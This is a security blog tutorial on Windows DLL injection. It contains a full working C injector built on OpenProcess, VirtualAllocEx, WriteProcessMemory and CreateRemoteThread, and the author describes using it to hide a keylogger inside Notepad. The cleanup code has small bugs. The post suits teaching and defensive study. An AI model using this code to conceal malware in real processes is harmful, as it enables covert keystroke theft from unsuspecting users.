Hey Everyone and welcome back to my blog! This post is going to be a smaller post about a commonly used technique, for both good and bad, known as DLL injection.

DLL injection is the act of forcing a process to load a DLL while it is running. DLL injection can be used for a number of things ranging from reverse engineering, debugging, and malware writing.

The most obvious question that needs to be answered is, “what is a DLL?” A DLL, short for Dynamic-Link Library, is a file containing executable functions and prototypes but it is not executable by itself. DLLs exist to solve the problem of multiple executables needing to use the same functions.

One important thing to note about DLLs is that they can be loaded during the runtime of an executable.

The basic process for injecting a DLL is very straightforward. First you must obtain a handle to the victim process, then you allocate enough memory for the path to the DLL that you want to inject, next you write the DLL path into the memory that you allocated in the victim process, then you call CreateRemoteThread using a handle to LoadLibraryA and the memory location of the DLL path to create a thread of the victim process that will load the DLL. I wrote a small C program that will take a PID and inject a hardcoded DLL into that process.

The code is below:

#include <windows.h>
#include <stdio.h>

int main(int argc, char **argv){

if (argc != 2){
printf("Usage: inject <pid>\n");
return 1;
}

int pid;
HANDLE victim_process, remote_thread;
LPVOID base_address, load_lib_address;
char *dll_path = "C:\\Path\\To\\malicious.dll";
int dll_length = strlen(dll_path);
pid = atoi(argv[1]);
printf("dll path length: %d\n", dll_length);
int n = 0;

// open process with permissions
victim_process = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (victim_process == NULL){
printf("Failed to open victim process.\n");
return 1;
}

printf("Process opened, file handle is %p.\n", victim_process);

// allocate memory with virtualalloc
base_address = VirtualAllocEx(victim_process, NULL, dll_length, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);

if (base_address == NULL){
printf("Error allocating memory in victim process.\n");
return 1;
}

printf("Memory in victim process allocated at address %p.\n", base_address);

// write dll handle with writeprocessmemory
WriteProcessMemory(victim_process, base_address, dll_path, dll_length, &n);

if (n <= 0){
printf("Failed to write dll path to victim process.\n");
return 1;
}

printf("Wrote %i bytes to victim process memory.\n", n);

// find loadlibrary offset?
load_lib_address = (LPVOID) GetProcAddress(GetModuleHandle("Kernel32.dll"), "LoadLibraryA");

if (load_lib_address == NULL){
printf("Failed to obtain address of LoadLibrary.\n");
}

printf("LoadLibrary address located at %p.\n", load_lib_address);

// create remote thread
remote_thread = CreateRemoteThread(victim_process, NULL, 0, (LPTHREAD_START_ROUTINE)load_lib_address, base_address, 0, NULL);

if (remote_thread == NULL){
printf("Failed to create remote thread in victim process.\n");
CloseHandle(victim_process);
return 1;
}

WaitForSingleObject(victim_process, 120000);

printf("Thread created successfully.\n");

// Clean up
VirtualFreeEx(victim_process, load_lib_address, dll_length + 1, MEM_RELEASE);

CloseHandle(victim_process);

return 0;

}

As you can see I obtain a handle to the victim process by using OpenProcess and passing it the PID. Note that you don’t necessarily need to use PROCESS_ALL_ACCESS, though you do need a handful of specific accesses for injection to work, so I just opened the process with all access. Next, I used VirtualAllocEx to allocate the memory in the victim process. I had to specify PAGE_READWRITE so that I would be able to write to the memory in the next step. Next, I wrote the DLL path into the memory that I reserved, using WriteProcessMemory. Then, I used GetProcAddress to get the address of the LoadLibraryA function in the current process. Because of the way that Windows loads system modules, this address will be the same for all processes that load Kernel32.dll. Next, I called CreateRemoteThread using the handle to the victim process, specifying the start routine as the address of LoadLibraryA, and passing the address of the DLL that I want to inject as a parameter to LoadLibraryA. Then I wait for the object to signal returned. I specified a timeout of 2 minutes because I noticed that it will often never signal but the thread will have started without any problems. I’m not sure if waiting is absolutely necessary. Finally, I clean up by freeing the memory and closing the handle to the victim process.

So, why is DLL injection important for malware writing? If you remember my last post about my keylogger here, one problem that it had was that the process would show up in the task manager. If we could turn the keylogger into a DLL and then inject it into a process, there wouldn’t be a separate process for it. This makes an already stealthy keylogger even more stealthy. I decide to rewrite and recompile my keylogger code into a DLL. All I really had to do was rewrite the WinMain function to DLL main and then ensure that it would kick off the normal functionality if it was attached to a process. Then I used the injection code above to inject it into a running process. Here is a screenshot showing the injection and, as you can see from Process Explorer, the DLL has been loaded by Notepad.

This was a basic DLL injection that uses a very well-known technique. There is a stealthier way to inject a DLL using an advanced technique called “Reflective DLL injection” that was pioneered by Stephen Fewer and is used to load the second stage payload in Metasploit. There are a few links at the bottom of this post detailing that technique and how it is used. Thanks for reading! If you have any questions, comments, or suggestions, please leave them here or reach out to me at thomas.gadola@gmail.com. See you next time and Happy Holidays!

References:

http://blog.harmonysecurity.com/2008/10/new-paper-reflective-dll-injection.html

https://www.offensive-security.com/metasploit-unleashed/payload-types/

Originally published at www.segfaultsecurity.com on December 17, 2017.